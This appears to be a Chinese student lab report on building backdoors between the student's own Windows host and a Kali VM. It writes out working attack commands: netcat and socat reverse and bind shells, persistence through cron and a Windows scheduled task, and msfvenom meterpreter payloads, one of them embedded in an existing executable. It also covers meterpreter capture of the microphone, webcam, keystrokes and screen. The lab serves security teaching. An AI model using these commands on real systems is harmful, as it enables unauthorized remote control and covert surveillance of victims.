Exp2-后门原理与实践
学习内容
使用nc实现win,mac,Linux间的后门连接
meterpreter的应用
MSF POST 模块的应用
学习目标
建立一个后门连接是如此的简单,功能又如此强大。通过亲手实践并了解这一事实,从而提高自己的安全意识 。
后门概念
后门就是不经过正常认证流程而访问系统的通道。后门就是不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。
一个相对狭义一点的后门的概念:
- 特指潜伏于操作系统中专门做后门的一个程序,
- “坏人”可以连接这个程序
- 远程执行各种指令。
- 概念和木马有重叠
常用后门工具
1.NC 或 netcat
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
Windows: 需要下载解压使用。
Mac: 系统自带,"man nc",查看其使用说明。
2.SoCat
相当于Netcat++,一个超级Netcat工具。
在Windows下需要下载使用。
任何代理、转发等功能都可以用该工具实现。
3.Meterpreter
一个用来生成后门程序的程序。
它包含着后门的
- 基本功能(基本的连接、执行指令)
- 扩展功能(如搜集用户信息、安装服务等功能)
- 编码模式
- 运行平台
- 运行参数
它把后门的内容全部做成零件或可调整的参数,按需组合使用形成需要的可执行文件。
本次实验我们使用msfvenom
指令生成后门可执行文件Meterpreter。
实验内容
(1)使用netcat获取主机操作Shell,cron启动 (1分)
(2)使用socat获取主机操作Shell, 任务计划启动 (1分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(1分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (1分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(2分)
实验环境
- 主机:Windows 11;
- 靶机:Kali Linux Debian 10;
首先在window11 主机下安装netcat和socat。
实验前的准备
查看Windows11主机IP
ip为172.16.220.4
查看kali虚拟机的ip
ip为192.168.0.133
实验过程
一、使用netcat获取主机操作Shell,cron启动
在主机中使用ncat -l -p 1219
监听本机的1219端口
在虚拟机中使用nc 172.16.220.4 1219 -e /bin/sh
连接主机反弹shell
成功在主机中获取虚拟机shell
在虚拟机中用nc -l -p 1219
监听主机1219端口
在主机中用ncat -e cmd 192.168.0.133 1219
成功在虚拟机中获取到主机shell
在虚拟机中启动cron并在主机监听
首先在虚拟机上用crontab -e
指令编辑一条定时任务,然后输入2。
在打开的vim编辑器最后一行添加47 * * * * nc 172.16.220.4 1219 -e /bin/sh
,即在每个小时的第47分钟反向连接Windows主机的1219端口
在每小时的47分,在ip地址为172.16.220.4的主机端用ncat -l -p 1219
打开监听,成功获取虚拟机的shell
此外,也可以开一个非反弹式后门,在cron中写入nc -l -p 1219 -e /bin/sh
,这是攻击机能随时通过nc 主机ip 1219获得虚拟机的一个Shell。
二、使用socat获取主机操作Shell,任务计划启动
首先在Windows中按Win+R,再输入compmgmt.msc打开计算机管理
在系统工具中的任务计划程序中创建任务
新建触发器,选择工作站锁定时
新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:1219 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口1219,同时把cmd.exe的stderr重定向
设置好后我们按下Win+L锁屏
重新打开后在Kali中输入命令socat - tcp:172.16.220.4:1219
,成功获取Windows的Shell。
三、使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在kali中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.133 LPORT=1219 -f exe > 20191219_backdoor.exe
,其中
- LHOST为反弹回连的IP,在这里是要反弹给Kali,也就是Kali的IP
- LPORT是回连的端口
- -p 使用的payload。
- payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。
- -f 生成文件的类型
- > 输出到哪个文件
在Windows上打开监听
在Kali上用nc 172.16.220.4 1218 < 20191219_backdoor.exe
将生成的20191219_backdoor.exe后门程序传过去
在kali上使用msfconsole
指令进入msf控制台
依次输入以下命令
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.0.133 #KaliIP,和生成后门程序时指定的IP相同
set LPORT 1219
接着输入exploit
进行监听。
在Windows在打开20191219_backdoor.exe
后成功获取到Windows的shell(关闭系统自带的杀毒软件,否则打开后门程序时很容易出现拒绝访问的情况)
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.获取目标主机音频
在之前进入的MSF exploit中输入record_mic
指令进行录音(-d可设置时长)
2.获取目标主机摄像头
输入webcam_snap
指令控制摄像头进行拍照
捕获的音频和图片文件
3.获取击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录(-d可设置时长)
4.截取主机屏幕
使用screenshot
指令对主机屏幕截屏
截取到的图片
五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用的指令:
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
- 在参数说明中提到,-p使用的为有效载荷,由于我们是在x86下的linux系统,所以要改为
linux/x86/meterpreter/reverse_tcp
。 - -x是可执行文件模板,shellcode会写入这个可执行文件中
- LHOST、LPORT是ip地址和端口,我们把它改为192.168.0.133和1219
- -f是生成文件的类型,我们把它改为二进制可执行文件elf
所以我的payload为:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.133 LPORT=1219 -x pwn1 -f elf > 20191219pwn
输入msfconsole
进入MSF控制台,注意与之前不同的地方,window改为linux/x86
在msf中输入exploit
进行监听
新打开一个终端,在终端中将运行20191218pwn
可看到msf中获取shell权限
基础问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
从网上下载被植入后门的软件。
2.例举你知道的后门如何启动起来(win及linux)的方式?
人为操作或修改了Windows的任务管理计划,在特定的条件下触发后门程序。
在Linux下是通过Cron设置触发条件启动后门程序。
3.Meterpreter有哪些给你映像深刻的功能?
生成可用的后门程序和捕捉屏幕、得到远程控制权、捕获按键信息等
4.如何发现自己有系统有没有被安装后门?
首先是系统的杀毒软件会检测出来。
然后是系统出现以下问题:
经常死机
系统无法启动
文件打不开
经常报告内存不够
提示硬盘空间不够
出现大量来历不明的文件
数据丢失
系统运行速度慢
系统自动执行操作
实验心得
通过本次实验使我我对后门有了一定的了解,收获也挺多。尤其是使用ncat和socat获取Linux、Windows的shell,设置任务启动计划,根据主机工作台锁定这一操作触发socat从而实现攻击,使用Meterpreter生成针对特定系统的后门程序并对主机进行攻击获取主机的摄像头权限、键盘记录等等。
本次实验不是一帆风顺的,实验过程中我遇到了在cmd下没找到nc命令的问题,原因是解压了netcat压缩包之后没有设置环境变量,然后第二个问题是window系统的防火墙没关导致无法和kali虚拟机进行连接和互相发送数据,第三个问题是没有关闭window系统自带的防护功能导致无法运行生成的后门程序,最后我也是解决的问题成功完成了实验。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步